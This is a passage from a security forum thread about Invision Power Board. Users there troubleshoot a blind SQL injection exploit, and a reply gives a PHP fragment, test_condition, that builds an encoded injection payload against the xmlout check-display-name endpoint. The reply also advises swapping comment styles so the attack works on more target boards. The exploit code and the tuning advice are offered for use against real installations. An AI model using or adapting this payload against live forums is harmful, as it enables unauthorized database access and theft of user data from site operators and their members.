Strange.... this test sql version function also gives me SQL prefix error on the board with the changed prefix and it returns 1 in board with ibf_ prefix.... |
Without seeing sql errors log it's hard to guess the reason.
Still I suggest to change "-- " comments to "%2523":
Code: |
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
$bret = false;
$maxtry = 10;
$try = 1;
$pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522%2523';
$post = sprintf($pattern, $p);
|
Some targets seems to have probs with "-- " method |
|
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 5 of 6
Goto page Previous1, 2, 3, 4, 5, 6Next
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|